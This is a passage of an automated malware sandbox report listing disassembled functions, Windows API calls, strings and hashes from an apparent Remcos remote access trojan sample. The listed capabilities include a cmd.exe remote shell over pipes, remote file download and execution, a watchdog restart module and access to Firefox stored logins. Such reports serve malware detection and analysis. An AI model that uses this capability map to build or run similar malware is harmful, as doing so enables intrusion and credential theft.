                                                                                            • Instruction Fuzzy Hash: 4AE04875A0031867FB20B7659C4EFD6766C9704B05F0400ADB619E21C3EDB4EA048BE4
                                                                                            Function 00414072 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • getaddrinfo.WS2_32(00000000,00000000,00000000,00472B28,004750FC,00000000,00414318,00000000,00000001), ref: 00414094
                                                                                            • WSASetLastError.WS2_32(00000000), ref: 00414099
                                                                                              • Part of subcall function 00413F0F: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00413F5E
                                                                                              • Part of subcall function 00413F0F: LoadLibraryA.KERNEL32(?), ref: 00413FA0
                                                                                              • Part of subcall function 00413F0F: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00413FC0
                                                                                              • Part of subcall function 00413F0F: FreeLibrary.KERNEL32(00000000), ref: 00413FC7
                                                                                              • Part of subcall function 00413F0F: LoadLibraryA.KERNEL32(?), ref: 00413FFF
                                                                                              • Part of subcall function 00413F0F: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414011
                                                                                              • Part of subcall function 00413F0F: FreeLibrary.KERNEL32(00000000), ref: 00414018
                                                                                              • Part of subcall function 00413F0F: GetProcAddress.KERNEL32(00000000,?), ref: 00414027
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
                                                                                            • String ID:
                                                                                            • API String ID: 1170566393-0
                                                                                            • Opcode ID: 82e440812e84df215c52e3f2a247b94cffd3b5d9bcffb41726cfdd66b840233f
                                                                                            • Instruction ID: e2cb8cd332084910a557c38b5932e5372e8318120e5bc29c0191cd414ba32ecd
                                                                                            • Opcode Fuzzy Hash: 82e440812e84df215c52e3f2a247b94cffd3b5d9bcffb41726cfdd66b840233f
                                                                                            • Instruction Fuzzy Hash: F4D012326406216B93506B6D5D01EBB5AEDDF96761B06003BF508D6111DA946C4142A8
                                                                                            Function 00409517 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _wcslen
                                                                                            • String ID:
                                                                                            • API String ID: 176396367-0
                                                                                            • Opcode ID: 694b58b4804d0161d9866015f426625d870619d59cf6cfc82a5e2460fb3dabfc
                                                                                            • Instruction ID: 7b719d08391bbb12b01dd12fa1e9474f3c31e37c6e717f7fed2b29792a4b3228
                                                                                            • Opcode Fuzzy Hash: 694b58b4804d0161d9866015f426625d870619d59cf6cfc82a5e2460fb3dabfc
                                                                                            • Instruction Fuzzy Hash: B71193329002059BCB05FF66D8529EE77A4EF54319B10443FF842662E2EF78A915CB98
                                                                                            Function 004107AB Relevance: 1.6, APIs: 1, Instructions: 61memoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • VirtualProtect.KERNEL32(?,00410BDA,?,00000000,?,00000000,00000000,00410969), ref: 00410835
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ProtectVirtual
                                                                                            • String ID:
                                                                                            • API String ID: 544645111-0
                                                                                            • Opcode ID: a7372f67efa92369d48c62df5f7f2955e1d45dc101a9cb84dd024311987fd690
                                                                                            • Instruction ID: a919ac539a4debb618ab194b449307f8042503fa1c6d266810504fc1f887d753
                                                                                            • Opcode Fuzzy Hash: a7372f67efa92369d48c62df5f7f2955e1d45dc101a9cb84dd024311987fd690
                                                                                            • Instruction Fuzzy Hash: 0C11C1727011019FD614DA18CC90BA7B766FF80710F59815AE125CB392DBB5FCD2CA94
                                                                                            Function 00446D0F Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RtlAllocateHeap.NTDLL(00000000,00434613,?,?,00437437,?,?,?,?,?,0040CD5A,00434613,?,?,?,?), ref: 00446D41
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AllocateHeap
                                                                                            • String ID:
                                                                                            • API String ID: 1279760036-0
                                                                                            • Opcode ID: 0df71086ebe011a22fdff847967a9c5229befe104b2723ee1c4cd472e7f23894
                                                                                            • Instruction ID: 40638bbf90b8c7646580dfe44e72c34c865d7c07d7b9b06d8b79509a7ad90776
                                                                                            • Opcode Fuzzy Hash: 0df71086ebe011a22fdff847967a9c5229befe104b2723ee1c4cd472e7f23894
                                                                                            • Instruction Fuzzy Hash: 52E0E5B1B00220A6FB202A6A8C02B5B36498F437B4F070033AC0A9A291CE6CCC4081AF
                                                                                            Function 00404262 Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • WSAStartup.WS2_32(00000202,00000000), ref: 00404277
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Startup
                                                                                            • String ID:
                                                                                            • API String ID: 724789610-0
                                                                                            • Opcode ID: 512c305c5d81d862cf08042479f934390d4c65f7aad148c3c3ac63496dcf4775
                                                                                            • Instruction ID: a6df37c1a3c4b0bfee4e794801b63ea3b6ec8424062e123ecf3ffc10766d7ffb
                                                                                            • Opcode Fuzzy Hash: 512c305c5d81d862cf08042479f934390d4c65f7aad148c3c3ac63496dcf4775
                                                                                            • Instruction Fuzzy Hash: F7D012325586094ED620AAB5AD0F8A4775CD317611F0003BA6CB5825D3FA84561CC6AB
                                                                                            Function 0040262E Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Deallocate
                                                                                            • String ID:
                                                                                            • API String ID: 1075933841-0
                                                                                            • Opcode ID: fa11f090124af29c98583f2c3e9d30177ae40f5e0afd44ce9742dc7edc058cff
                                                                                            • Instruction ID: a98dd8728e001a7547a03d6555be836c7c4d92c50a1b5b3c87ce8ff60de75990
                                                                                            • Opcode Fuzzy Hash: fa11f090124af29c98583f2c3e9d30177ae40f5e0afd44ce9742dc7edc058cff
                                                                                            • Instruction Fuzzy Hash: 69A0123300C2016AC9852E00DD05C0ABFA1EB90360F20C41FF086140F0CB32A0B0A705
                                                                                            Function 00410B96 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • VirtualAlloc.KERNEL32(?,?,?,?,00410CD6,?,00000000,00003000,00000040,00000000,?,00000000), ref: 00410BA6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AllocVirtual
                                                                                            • String ID:
                                                                                            • API String ID: 4275171209-0
                                                                                            • Opcode ID: c6613924f6d0b7411c81be3707eeeac8e7e35806319a94a858a4c8f2f7b3dfbc
                                                                                            • Instruction ID: e51225b8dc451cf5f22672caa0f035088f4092e39e361f2bdb4b6f96ed7b397f
                                                                                            • Opcode Fuzzy Hash: c6613924f6d0b7411c81be3707eeeac8e7e35806319a94a858a4c8f2f7b3dfbc
                                                                                            • Instruction Fuzzy Hash: 12B00832419382EFCF02DF90DD0492ABAA2BB88712F094C5CB2A1501718B228428EB16

                                                                                            Non-executed Functions

                                                                                            Function 00406F06 Relevance: 48.1, APIs: 10, Strings: 17, Instructions: 849filesleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetEvent.KERNEL32(?,?), ref: 00406F28
                                                                                            • GetFileAttributesW.KERNEL32(00000000,00000000,00000000), ref: 00406FF8
                                                                                            • DeleteFileW.KERNEL32(00000000), ref: 00407018
                                                                                              • Part of subcall function 0041B63A: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,h&y,00475308), ref: 0041B694
                                                                                              • Part of subcall function 0041B63A: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,h&y,00475308), ref: 0041B6C6
                                                                                              • Part of subcall function 0041B63A: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,h&y,00475308), ref: 0041B717
                                                                                              • Part of subcall function 0041B63A: FindClose.KERNEL32(00000000,?,?,?,?,?,?,h&y,00475308), ref: 0041B76C
                                                                                              • Part of subcall function 0041B63A: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,h&y,00475308), ref: 0041B773
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                              • Part of subcall function 00406BE9: CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00466454,?,?,00000000,00407273,00000000,?,0000000A,00000000), ref: 00406C38
                                                                                              • Part of subcall function 00406BE9: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,000186A0,?,?,?,00000000,00407273,00000000,?,0000000A,00000000), ref: 00406C80
                                                                                              • Part of subcall function 00406BE9: CloseHandle.KERNEL32(00000000,?,?,00000000,00407273,00000000,?,0000000A,00000000,00000000), ref: 00406CC0
                                                                                              • Part of subcall function 00406BE9: MoveFileW.KERNEL32(00000000,00000000), ref: 00406CDD
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                              • Part of subcall function 00404468: WaitForSingleObject.KERNEL32(00000000,00000000,{NAL,?,?,00000004,?,?,00000004,00474EE0,004755B0,00000000), ref: 0040450E
                                                                                              • Part of subcall function 00404468: SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,00474EE0,004755B0,00000000,?,?,?,?,?,00414E7B), ref: 0040453C
                                                                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00407416
                                                                                            • GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004074F5
                                                                                            • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 0040773A
                                                                                            • DeleteFileA.KERNEL32(?), ref: 004078CC
                                                                                              • Part of subcall function 00407A8C: __EH_prolog.LIBCMT ref: 00407A91
                                                                                              • Part of subcall function 00407A8C: FindFirstFileW.KERNEL32(00000000,?,00466AA0,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B4A
                                                                                              • Part of subcall function 00407A8C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B6E
                                                                                            • Sleep.KERNEL32(000007D0), ref: 00407976
                                                                                            • StrToIntA.SHLWAPI(00000000,00000000), ref: 004079BA
                                                                                              • Part of subcall function 0041BD82: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041BE77
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$Find$AttributesCloseDeleteDirectoryEventFirstNextRemove$CreateDriveExecuteH_prologHandleInfoLocalLogicalMoveObjectParametersShellSingleSleepStringsSystemTimeWaitWritesend
                                                                                            • String ID: @PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $TdF$Unable to delete: $Unable to rename file!$VNG$open$pPG$pPG$pPG$pPG$NG
                                                                                            • API String ID: 2918587301-2537973685
                                                                                            • Opcode ID: fef707006c107524a10cb43a8645b80f53541b79d0d8532d54391e8c9f7482e0
                                                                                            • Instruction ID: 1d2e2627ec10ef381271a766c0004beadc8049fa085ae304c46d09a1b017b010
                                                                                            • Opcode Fuzzy Hash: fef707006c107524a10cb43a8645b80f53541b79d0d8532d54391e8c9f7482e0
                                                                                            • Instruction Fuzzy Hash: 0F42A271A043005BC614FB76C8979AE76A59F90708F40493FF946771E2EE3CAA09C6DB
                                                                                            Function 00405042 Relevance: 47.5, APIs: 15, Strings: 12, Instructions: 280pipesleepfileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __Init_thread_footer.LIBCMT ref: 0040508E
                                                                                              • Part of subcall function 004336DA: EnterCriticalSection.KERNEL32(00471D18,00476D54,?,0040AEAC,00476D54,00456FA7,?,00000000,00000000), ref: 004336E4
                                                                                              • Part of subcall function 004336DA: LeaveCriticalSection.KERNEL32(00471D18,?,0040AEAC,00476D54,00456FA7,?,00000000,00000000), ref: 00433717
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            • __Init_thread_footer.LIBCMT ref: 004050CB
                                                                                            • CreatePipe.KERNEL32(00476D14,00476CFC,00476C20,00000000,0046656C,00000000), ref: 0040515E
                                                                                            • CreatePipe.KERNEL32(00476D00,00476D1C,00476C20,00000000), ref: 00405174
                                                                                            • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476C30,00476D04), ref: 004051E7
                                                                                              • Part of subcall function 00433724: EnterCriticalSection.KERNEL32(00471D18,?,00476D54,?,0040AE8B,00476D54,?,00000000,00000000), ref: 0043372F
                                                                                              • Part of subcall function 00433724: LeaveCriticalSection.KERNEL32(00471D18,?,0040AE8B,00476D54,?,00000000,00000000), ref: 0043376C
                                                                                            • Sleep.KERNEL32(0000012C,00000093,?), ref: 0040523F
                                                                                            • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00405264
                                                                                            • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 00405291
                                                                                              • Part of subcall function 00433AB0: __onexit.LIBCMT ref: 00433AB6
                                                                                            • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90,00466570,00000062,00466554), ref: 0040538E
                                                                                            • Sleep.KERNEL32(00000064,00000062,00466554), ref: 004053A8
                                                                                            • TerminateProcess.KERNEL32(00000000), ref: 004053C1
                                                                                            • CloseHandle.KERNEL32 ref: 004053CD
                                                                                            • CloseHandle.KERNEL32 ref: 004053D5
                                                                                            • CloseHandle.KERNEL32 ref: 004053E7
                                                                                            • CloseHandle.KERNEL32 ref: 004053EF
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseCriticalHandleSection$CreatePipe$EnterFileInit_thread_footerLeaveProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                                                                            • String ID: lG$ mG$ mG$ mG$0lG$SystemDrive$cmd.exe$xlG$xlG$xlG$xlG$xlG
                                                                                            • API String ID: 3815868655-3731297122
                                                                                            • Opcode ID: 39613a35193a1e08c0099e1479f98ec126b2e97bbc06e5e4609ab9a8ba0c95d7
                                                                                            • Instruction ID: f3d75f47542da312923ddfb9c6ddab2c5323933c8a72fe1ed5abf95ef94fff6a
                                                                                            • Opcode Fuzzy Hash: 39613a35193a1e08c0099e1479f98ec126b2e97bbc06e5e4609ab9a8ba0c95d7
                                                                                            • Instruction Fuzzy Hash: 3491C571600605AFC610BB65ED42A6F3BAAEB84344F01443FF949A22E2DF7D9C448F6D
                                                                                            Function 0041100E Relevance: 35.2, APIs: 7, Strings: 13, Instructions: 238threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentProcessId.KERNEL32 ref: 0041101D
                                                                                              • Part of subcall function 004128AD: RegCreateKeyA.ADVAPI32(80000001,00000000,TeF), ref: 004128BB
                                                                                              • Part of subcall function 004128AD: RegSetValueExA.KERNEL32(TeF,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040B94C,004670E0,00000001,000000AF,00466554), ref: 004128D6
                                                                                              • Part of subcall function 004128AD: RegCloseKey.KERNEL32(?,?,?,?,0040B94C,004670E0,00000001,000000AF,00466554), ref: 004128E1
                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 00411059
                                                                                            • CreateThread.KERNEL32(00000000,00000000,0041170F,00000000,00000000,00000000), ref: 004110BE
                                                                                              • Part of subcall function 0041258F: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004125AF
                                                                                              • Part of subcall function 0041258F: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,00475308), ref: 004125CD
                                                                                              • Part of subcall function 0041258F: RegCloseKey.KERNEL32(?), ref: 004125D8
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00411068
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 00411332
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseOpen$CreateProcessValue$CurrentHandleLocalMutexQueryThreadTime
                                                                                            • String ID: 0TG$Remcos restarted by watchdog!$TdF$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$h&y$rmclient.exe$svchost.exe
                                                                                            • API String ID: 65172268-147396863
                                                                                            • Opcode ID: 54fc3167ff7f5d6baa3a5b82a593cbffab32a35546d4d220aab7625fdd23849e
                                                                                            • Instruction ID: de889ccbd4d484bbc366ed6bf297281231fcf4352047712fae5372da0dd81bf3
                                                                                            • Opcode Fuzzy Hash: 54fc3167ff7f5d6baa3a5b82a593cbffab32a35546d4d220aab7625fdd23849e
                                                                                            • Instruction Fuzzy Hash: 3D717E3160420157C214FB72CC579AE77A8AF94719F40053FF986A21E2EF7C9A49C6AF
                                                                                            Function 0040B335 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 145fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040B3B4
                                                                                            • FindClose.KERNEL32(00000000), ref: 0040B3CE
                                                                                            • FindNextFileA.KERNEL32(00000000,?), ref: 0040B4F1
                                                                                            • FindClose.KERNEL32(00000000), ref: 0040B517
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Find$CloseFile$FirstNext
                                                                                            • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                                                                            • API String ID: 1164774033-3681987949
                                                                                            • Opcode ID: 9bf68db2871aa1d62f7d6ed1d5d77a6aae3522183d24b94fcb11b2434d3c25ca
                                                                                            • Instruction ID: 4260ee55bd24f38cfaff6d718e7bb7aae0563b8f0cd35122f003610daf392ab1
                                                                                            • Opcode Fuzzy Hash: 9bf68db2871aa1d62f7d6ed1d5d77a6aae3522183d24b94fcb11b2434d3c25ca
                                                                                            • Instruction Fuzzy Hash: 0A510B319042195ADB14F7A2DC96AEE7764EF50318F50017FF806B30E2EF789A45CA9D
                                                                                            Function 0040B53A Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 130fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040B5B2
                                                                                            • FindClose.KERNEL32(00000000), ref: 0040B5CC
                                                                                            • FindNextFileA.KERNEL32(00000000,?), ref: 0040B68C
                                                                                            • FindClose.KERNEL32(00000000), ref: 0040B6B2
                                                                                            • FindClose.KERNEL32(00000000), ref: 0040B6D1
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
